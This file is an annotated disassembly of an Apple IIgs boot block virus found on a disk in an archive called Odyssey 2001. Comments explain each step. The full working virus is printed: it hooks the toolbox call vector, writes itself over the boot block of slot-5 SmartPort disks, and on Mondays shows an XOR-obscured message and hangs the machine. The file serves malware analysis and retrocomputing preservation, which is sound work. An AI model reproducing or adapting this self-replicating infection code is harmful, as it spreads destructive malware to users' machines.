;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ;
; Apple IIgs boot block virus disassembly. ;
; ;
; This was identified in https://retrocomputing.stackexchange.com/q/32009/56, ;
; in an archive called ody2001.shk (Odyssey 2001), on a disk called ;
; SPY.NETWORK. ;
; ;
; The code assumes it has been booted from a SmartPort device in slot 5. It ;
; will hook itself into the toolbox vector and try to infect devices found in ;
; slot 5. When certain conditions are met, e.g. the disk is being booted on a ;
; Monday, it will print a message on the super hi-res screen and lock up. ;
; ;
; The disassembly was created with 6502bench SourceGen v1.10. ;
; ;
; Last updated 2025/08/20 ;
; ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ReadBlock .eq $01 {const} ;SmartPort call
WriteBlock .eq $02 {const} ;SmartPort call
MMBootInit .eq $0102 {const} ;()
QDStartUp .eq $0204 {const} ;(DirPg,MastSCB,MaxWid,MemID)
GrafOn .eq $0a04 {const} ;()
ClearScreen .eq $1504 {const} ;(Color)
PenNormal .eq $3604 {const} ;()
SetSolidPenPat .eq $3704 {const} ;(Color)
MoveTo .eq $3a04 {const} ;(h,v)
SetTextMode .eq $9c04 {const} ;(TextM)
SetForeColor .eq $a004 {const} ;(Color)
DrawString .eq $a504 {const} ;(@Str)
MON_PWREDUP .eq $03f4 ;power-up RESET checksum
NEWVIDEO .eq $c029 ;RW video select (SHR)
CLOCKCTL .eq $c034 ;RW bits 0-3 = border color
SmartPort5 .eq $c50d ;slot 5 smartport entry
.addrs $0800
00/0800: 01 L0800 .dd1 $01
.rwid shortm,shortx
00/0801: 18 boot1 clc
00/0802: fb xce
00/0803: c2 30 rep #$30
.rwid longm,longx
00/0805: a2 fe 01 ldx #$01fe ;copy $800-9ff to $be00-bfff
00/0808: bd 00 08 @loop lda L0800,x
00/080b: 9d 00 be sta $be00,x
00/080e: ca dex
00/080f: 10 f7 bpl @loop
00/0811: 4c 1b be jmp init2
;
; This code may be executed at either $00/BExx and $E1/BExx. It primarily lives
; in bank $E1, but will be copied back to back $00 to make SmartPort calls. The
; copy in $E1 is the "primary" copy, so variables are (usually) accessed there.
;
.addrs $be14
00/be14: 03 rd_cmd_list .dd1 $03 ;parameter count
00/be15: 01 .dd1 $01 ;unit number
00/be16: 00 08 .dd2 $0800 ;data buffer = $0800
00/be18: 01 00 00 .dd3 $000001 ;block number = 1
00/be1b: 38 init2 sec
00/be1c: fb xce
.rwid shortm,shortx
00/be1d: e2 30 sep #$30
00/be1f: 20 0d c5 jsr SmartPort5 ;read the standard boot block from block 1
00/be22: 01 .dd1 ReadBlock
00/be23: 14 be .dd2 rd_cmd_list
00/be25: 18 clc
00/be26: fb xce
00/be27: c2 30 rep #$30
.rwid longm,longx
00/be29: af 01 be e1 ldal $e1be01 ;are we already in memory?
00/be2d: c9 18 fb cmp #$fb18
00/be30: d0 09 bne install ;no, install
00/be32: af 8b 16 e1 ldal $e1168b ;check vector?
00/be36: c9 ff 5c cmp #$5cff
00/be39: d0 24 bne check_time
;
00/be3b: 8b install phb
00/be3c: a9 00 02 lda #$0200
00/be3f: a2 00 be ldx #$be00 ;copy $00/be00-bfff to $e1/be00-bfff
00/be42: 9b txy
00/be43: 54 e1 00 mvn #$00,#$e1 ;sets data bank register to $e1
.dbank $e1
00/be46: ad 88 16 lda $1688 ;save old address
00/be49: 8d 2a bf sta orig_vector
00/be4c: ad 8a 16 lda $168a
00/be4f: 8d 2c bf sta orig_vector+2
00/be52: a9 5c 86 lda #$865c ;store JML $e1be86 at $e1/1688
00/be55: 8d 88 16 sta $1688
00/be58: a9 be e1 lda #$e1be
00/be5b: 8d 8a 16 sta $168a
00/be5e: ab plb ;back to bank 0
;
.dbank $00
00/be5f: a9 fc f2 check_time lda #$f2fc ;ReadTimeHex ^ $ffff
00/be62: 48 pha
00/be63: 48 pha
00/be64: 48 pha
00/be65: 48 pha
00/be66: 49 ff ff eor #$ffff
00/be69: aa tax
00/be6a: 22 af 00 fe jsl $fe00af ;issue ReadTimeHex
00/be6e: 7a ply
00/be6f: 7a ply
00/be70: 7a ply
00/be71: 68 pla ;last word has weekday in high byte
00/be72: 29 00 0f and #$0f00 ;mask it
00/be75: c9 00 02 cmp #$0200 ;is weekDay = 2 (Monday)?
00/be78: d0 03 _branch bne boot2 ;no, bail out
00/be7a: 4c 2e bf jmp show_msg ;yes, do bad things
00/be7d: 38 boot2 sec
00/be7e: fb xce
.rwid shortm,shortx
00/be7f: e2 30 sep #$30
00/be81: a2 50 ldx #$50 ;slot 5
00/be83: 4c 01 08 jmp $0801 ;do standard boot
;
; This is the toolbox call vector intercept code.
;
.rwid longm,longx
00/be86: e0 02 01 intercept cpx #MMBootInit ;app startup?
00/be89: f0 03 beq do_stuff ;yes, try to infect floppy
00/be8b: 82 9c 00 brl orig_vector ;no, just resume normal processing
00/be8e: da do_stuff phx
00/be8f: 8b phb
00/be90: 0b phd
00/be91: 08 php
00/be92: a9 ff 01 lda #$01ff
00/be95: a2 00 be ldx #$be00
00/be98: 9b txy
00/be99: 54 00 e1 mvn #$e1,#$00 ;copy code back to bank 0
.dbank $00
00/be9c: 5c a7 be 00 jml try_infect ;execute it there
;
00/bea0: 03 rdwr_cmd_list .dd1 $03 ;parameter count
00/bea1: 01 .dd1 $01 ;unit number
00/bea2: 00 08 rdwr_addr .dd2 L0800 ;address
00/bea4: 00 00 00 rdwr_blocknum .dd3 $000000 ;block number
; This executes in bank 0.
00/bea7: a9 00 00 try_infect lda #$0000
00/beaa: 5b tcd
00/beab: 38 sec
00/beac: fb xce
.rwid shortm,shortx
00/bead: e2 30 sep #$30
00/beaf: a9 08 lda #$08 ;addr = $800
00/beb1: 8d a3 be sta rdwr_addr+1
00/beb4: 9c a4 be stz rdwr_blocknum ;block = 0
00/beb7: 20 0d c5 jsr SmartPort5 ;read it (ignore errors)
00/beba: 01 .dd1 ReadBlock
00/bebb: a0 be .dd2 rdwr_cmd_list
00/bebd: a9 0a lda #$0a ;addr = $a00
00/bebf: 8d a3 be sta rdwr_addr+1
00/bec2: ee a4 be inc rdwr_blocknum ;block = 1
00/bec5: 20 0d c5 jsr SmartPort5 ;read it
00/bec8: 01 .dd1 ReadBlock
00/bec9: a0 be .dd2 rdwr_cmd_list
00/becb: af d6 bf e1 ldal shown_flag ;have we shown message today?
00/becf: f0 13 beq check_blocks ;no, go check disk blocks
00/bed1: 9c 34 c0 stz CLOCKCTL ;set border to black (and confuse clock?)
00/bed4: a9 c1 lda #$c1
00/bed6: 8d 29 c0 sta NEWVIDEO ;switch to super hi-res screen
00/bed9: af 37 5a e1 ldal $e15a37 ;check current screen contents
00/bedd: c9 f0 cmp #$f0 ;pixels will be $f0 after rendering message
00/bedf: d0 4d bne show_msg ;don't see it, go draw
00/bee1: 82 d2 00 brl finish ;might be showing already, just finish up
00/bee4: ad 01 08 check_blocks lda boot1 ;check start of block 0 code
00/bee7: 49 38 eor #$38 ;is this a standard boot ($38 = SEC)?
00/bee9: f0 10 beq replace_boot ;looks like it, replace it
; See if block 1 is empty.
00/beeb: a2 00 ldx #$00
00/beed: 8a txa
00/beee: 1d 00 0a @loop ora $0a00,x
00/bef1: 1d 00 0b ora $0b00,x
00/bef4: e8 inx
00/bef5: d0 f7 bne @loop
00/bef7: c9 00 cmp #$00
00/bef9: d0 27 bne bail ;there's stuff in block 1, don't overwrite
;
; Write our code to block 0, and the previous contents of block 0 to block 1.
;
00/befb: 18 replace_boot clc
00/befc: fb xce
00/befd: c2 30 rep #$30
.rwid longm,longx
00/beff: ee fe bf inc counter ;inc counter (not checked?)
00/bf02: 38 sec
00/bf03: fb xce
.rwid shortm,shortx
00/bf04: e2 30 sep #$30
00/bf06: a9 be lda #$be ;addr = $be00
00/bf08: 8d a3 be sta rdwr_addr+1
00/bf0b: 9c a4 be stz rdwr_blocknum ;block = 0
00/bf0e: 20 0d c5 jsr SmartPort5 ;write block
00/bf11: 02 .dd1 WriteBlock
00/bf12: a0 be .dd2 rdwr_cmd_list
00/bf14: a9 08 lda #$08 ;addr = $800 (original boot block)
00/bf16: 8d a3 be sta rdwr_addr+1
00/bf19: ee a4 be inc rdwr_blocknum ;block = 1
00/bf1c: 20 0d c5 jsr SmartPort5 ;write block
00/bf1f: 02 .dd1 WriteBlock
00/bf20: a0 be .dd2 rdwr_cmd_list
;
00/bf22: 18 bail clc
00/bf23: fb xce
00/bf24: c2 30 rep #$30
.rwid longm,longx
00/bf26: 28 plp
00/bf27: 2b pld
00/bf28: ab plb
00/bf29: fa plx
00/bf2a: 5c 99 01 ff orig_vector jml $ff0199 ;overwritten with toolbox vector
.rwid shortm,shortx
00/bf2e: 78 show_msg sei
00/bf2f: 4b phk ;should be zero
.dbank $00
00/bf30: ab plb
00/bf31: 18 clc
00/bf32: fb xce
00/bf33: c2 30 rep #$30
.rwid longm,longx
00/bf35: 9c f4 03 stz MON_PWREDUP ;make reset reboot
00/bf38: f4 00 00 pea $0000
00/bf3b: f4 00 00 pea $0000
00/bf3e: f4 01 00 pea $0001
00/bf41: a2 04 02 ldx #QDStartUp
00/bf44: 22 af 00 fe jsl $fe00af ;make sure QuickDraw II is ready
00/bf48: a2 04 0a ldx #GrafOn
00/bf4b: 22 af 00 fe jsl $fe00af ;turn on SHR mode
00/bf4f: e2 20 sep #$20
.rwid shortm
00/bf51: 9c 34 c0 stz CLOCKCTL ;set border color to black (and confuse clock?)
00/bf54: c2 20 rep #$20
.rwid longm
00/bf56: f4 00 00 pea $0000 ;colorWord
00/bf59: a2 04 15 ldx #ClearScreen
00/bf5c: 22 af 00 fe jsl $fe00af ;clear screen to black
00/bf60: a2 04 36 ldx #PenNormal
00/bf63: 22 af 00 fe jsl $fe00af ;set pen to standard state
00/bf67: f4 03 00 pea $0003 ;colorNum
00/bf6a: a2 04 37 ldx #SetSolidPenPat
00/bf6d: 22 af 00 fe jsl $fe00af ;set pen color
00/bf71: f4 ff ff pea $ffff ;foreColor
00/bf74: a2 04 a0 ldx #SetForeColor
00/bf77: 22 af 00 fe jsl $fe00af ;set foreground color
00/bf7b: f4 04 00 pea $0004 ;textMode = modeForeCopy
00/bf7e: a2 04 9c ldx #SetTextMode
00/bf81: 22 af 00 fe jsl $fe00af ;set text mode
00/bf85: f4 29 00 pea 41 ;horiz
00/bf88: f4 64 00 pea 100 ;vert
00/bf8b: a2 04 3a ldx #MoveTo
00/bf8e: 22 af 00 fe jsl $fe00af ;set pen position
; Decrypt message.
00/bf92: a2 30 00 ldx #$0030
00/bf95: bd d8 bf @loop lda enc_msg,x
00/bf98: 49 fd 14 eor #$14fd
00/bf9b: 9d 00 20 sta $2000,x ;trample buffer here
00/bf9e: ca dex
00/bf9f: ca dex
00/bfa0: 10 f3 bpl @loop
; Print decrypted message.
00/bfa2: f4 00 00 pea $0000 ;address of temporary buffer
00/bfa5: f4 00 20 pea $2000
00/bfa8: a2 04 a5 ldx #DrawString
00/bfab: 22 af 00 fe jsl $fe00af ;draw string
00/bfaf: a9 ff ff lda #$ffff
00/bfb2: 8f d6 bf e1 stal shown_flag ;set flag?
;
; Finish up by replacing the boot block. We zero out the branch offset for the
; instruction at $be78, which will cause execution to continue to the next
; instruction regardless of whether the branch was taken. This means the disk
; will always try to show the message when booted.
;
.rwid shortm,shortx
00/bfb6: 38 finish sec
00/bfb7: fb xce
00/bfb8: e2 30 sep #$30
00/bfba: 9c d6 bf stz $bfd6 ;clear flag, but only in bank 0 copy
00/bfbd: 9c d7 bf stz $bfd7 ; because we're about to write the block
00/bfc0: 9c 79 be stz _branch+1 ;zero branch offset
00/bfc3: ee f4 03 inc MON_PWREDUP ;ensure reset key reboots
00/bfc6: a9 be lda #$be ;addr = $be00
00/bfc8: 8d a3 be sta rdwr_addr+1
00/bfcb: 9c a4 be stz rdwr_blocknum ;block = 0
00/bfce: 20 0d c5 jsr SmartPort5 ;write boot block
00/bfd1: 02 .dd1 WriteBlock
00/bfd2: a0 be .dd2 rdwr_cmd_list
00/bfd4: 80 fe forever bra forever ;hang
.addrs *+$e10000
e1/bfd6: 00 00 shown_flag .dd2 $0000
.adrend ↑ $e1bfd6
;
; This is exclusive-ORed with $14fd to obscure it. When decoded, it's a Pascal
; string (length-prefixed) that reads:
;
; "SORRY DAVE... BUT I CAN'T DO THAT !!!"
;
00/bfd8: d8 47 b2 46+ enc_msg .bulk $d8,$47,$b2,$46,$af,$4d,$dd,$50
00/bfe0: bc 42 b8 3a+ .bulk $bc,$42,$b8,$3a,$d3,$3a,$dd,$56
00/bfe8: a8 40 dd 5d+ .bulk $a8,$40,$dd,$5d,$dd,$57,$bc,$5a
00/bff0: da 40 dd 50+ .bulk $da,$40,$dd,$50,$b2,$34,$a9,$5c
00/bff8: bc 40 dd 35+ .bulk $bc,$40,$dd,$35,$dc,$35
;
00/bffe: 00 00 counter .dd2 $0000
.adrend ↑ $be14
.adrend ↑ $0800
No exported symbols found.